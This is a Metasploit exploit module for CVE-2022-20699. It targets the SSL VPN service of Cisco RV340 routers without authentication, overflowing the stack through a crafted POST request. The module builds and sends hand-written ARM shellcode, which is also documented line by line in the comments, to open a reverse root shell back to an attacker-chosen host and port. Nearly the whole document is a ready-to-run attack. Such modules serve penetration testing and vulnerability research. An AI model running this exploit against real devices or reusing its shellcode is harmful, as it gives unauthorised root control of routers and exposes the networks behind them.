## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super( update_info( info, 'Name' => 'Cisco RV340 SSL VPN Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits a stack buffer overflow in the Cisco RV series routers SSL VPN functionality. The default SSL VPN configuration is exploitable, with no authentication required and works over the Internet! The stack is executable and no ASLR is in place, which makes exploitation easier. Successful execution of this module results in a reverse root shell. A custom payload is used as Metasploit does not have ARMLE null free shellcode. This vulnerability was presented by the Flashback Team in Pwn2Own Austin 2021 and OffensiveCon 2022. For more information check the referenced advisory. This module has been tested in firmware versions 1.0.03.15 and above and works flawlessly. Only the RV340 router was tested, but other RV series routers should work out of the box. }, 'Author' => [ 'Pedro Ribeiro ', # Vulnerability discovery and Metasploit module 'Radek Domanski ' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'Platform' => 'linux', 'References' => [ ['CVE', '2022-20699'], ['URL', 'https://www.youtube.com/watch?v=O1uK_b1Tmts'], ['URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Pwn2Own/Austin_2021/flashback_connects/flashback_connects.md'], ['URL', 'https://github.com/rdomanski/Exploits_and_Advisories/blob/master/advisories/Pwn2Own/Austin2021/flashback_connects/flashback_connects.md'], ['URL', 'https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-smb-mult-vuln-KA9PK6D.html'], ], 'Arch' => ARCH_ARMLE, # We actually use our own shellcode because Metasploit doesn't have ARM encoders! 'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' }, 'Targets' => [ [ 'Cisco RV340 Firmware Version <= 1.0.03.24', { # Shellcode location on stack (rwx stack, seriously Cisco...) # The same for all vulnerable firmware versions: 0x704aed98 'Shellcode' => "\x98\xed\x4a\x70" } ], ], 'DisclosureDate' => '2022-02-02', 'DefaultTarget' => 0 ) ) register_options( [ Opt::RPORT(8443), OptBool.new('SSL', [true, 'Use SSL', true]) ] ) end def check # This should return a string like: # "The Cisco AnyConnect VPN Client is required to connect to the SSLVPN server." (plus another phrase) res = send_request_cgi({ 'uri' => '/login.html' }) if res && res.code == 200 && res.body.include?('Cisco AnyConnect VPN Client') Exploit::CheckCode::Detected else Exploit::CheckCode::Unknown end end def hex_to_bin(hex) if (hex.length == 1) || (hex.length == 3) hex = '0' + hex end hex.scan(/../).map { |x| x.hex.chr }.join end def prep_shelly # We need to roll our own shellcode, as Metasploit doesn't have encoders for ARMLE. # A null free shellcode is needed, as this memory corruption is done through `strcat()` # # SHELLCODE_START: # // Original shellcode from Azeria's blog # // Expanded and Improved by the Flashback Team # .global _start # _start: # .ARM # // Clear CPU caches # dsb # isb # add r3, pc, #1 // switch to thumb mode # bx r3 # # .THUMB # // socket(2, 1, 0) # mov r0, #2 # mov r1, #1 # sub r2, r2 # mov r7, #200 # add r7, #81 // r7 = 281 (socket) # svc #1 // r0 = resultant sockfd # mov r4, r0 // save sockfd in r4 # # // connect(r0, &sockaddr, 16) # adr r1, struct // pointer to address, port # strb r2, [r1, #1] // write 0 for AF_INET # mov r2, #16 # add r7, #2 // r7 = 283 (connect) # svc #1 # # // dup2(sockfd, 0) # mov r7, #63 // r7 = 63 (dup2) # mov r0, r4 // r4 is the saved sockfd # sub r1, r1 // r1 = 0 (stdin) # svc #1 # // dup2(sockfd, 1) # mov r0, r4 // r4 is the saved sockfd # mov r1, #1 // r1 = 1 (stdout) # svc #1 # // dup2(sockfd, 2) # mov r0, r4 // r4 is the saved sockfd # mov r1, #2 // r1 = 2 (stderr) # svc #1 # # // execve("/bin/sh", 0, 0) # adr r0, binsh # sub r2, r2 # sub r1, r1 # strb r2, [r0, #7] # push {r0, r2} # mov r1, sp # cpy r2, r1 # mov r7, #11 // r7 = 11 (execve) # svc #1 # # eor r7, r7, r7 # # struct: # .ascii "\x02\xff" // AF_INET 0xff will be NULLed # .ascii "\x11\x5d" // port number 4445 # .byte 5,5,5,1 // IP Address # binsh: # .ascii "/bin/shX" # SHELLCODE_END # # The following is used to convert LHOST and LPORT to binary for inclusion in the shellcode lport_h = hex_to_bin(lport.to_s(16)) lhost_h = '' datastore['LHOST'].split('.').each do |n| lhost_h += hex_to_bin(n.to_i.to_s(16)) end lhost_h = lhost_h.force_encoding('binary') shellcode = "\x4f\xf0\x7f\xf5\x6f\xf0\x7f\xf5\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21" \ "\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0c\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20" \ "\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a" \ "\xc2\x71\x05\xb4\x69\x46\x0a\x46\x0b\x27\x01\xdf\x7f\x40\x02\xff" + lport_h + lhost_h + "\x2f\x62\x69\x6e\x2f\x73\x68\x58" shelly = shellcode + rand_text_alphanumeric(16400 - shellcode.length) + target['Shellcode'] shelly end def sock_get(app_host, app_port) begin ctx = { 'Msf' => framework, 'MsfExploit' => self } sock = Rex::Socket.create_tcp( { 'PeerHost' => app_host, 'PeerPort' => app_port, 'Context' => ctx, 'Timeout' => 10 } ) rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError sock.close if sock end if sock.nil? fail_with(Failure::Unknown, 'Failed to connect to the chosen application') end # also need to add support for old ciphers ctx = OpenSSL::SSL::SSLContext.new ctx.min_version = OpenSSL::SSL::SSL3_VERSION ctx.security_level = 0 ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE s = OpenSSL::SSL::SSLSocket.new(sock, ctx) s.sync_close = true s.connect return s end def exploit print_status("#{peer} - Pwning #{target.name}") payload = prep_shelly begin sock = sock_get(rhost, rport) # We have about 130 chars of space to spend so that everything is aligned in memory. # Let's dump them in the URL! # It would be good to add some valid headers with semi random data for proper evasion :D # # NOTE: for lhost addresses X.Y.W.Z (length 7, including dots), 130 bytes as padding, 126 otherwise if datastore['LHOST'].length <= 7 padding = 130 else padding = 126 end http = 'POST /' + rand_text_alphanumeric(padding) + " HTTP/1.1\r\nContent-Length: 16404\r\n\r\n" sock.write(http) sock.write(payload) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") end end end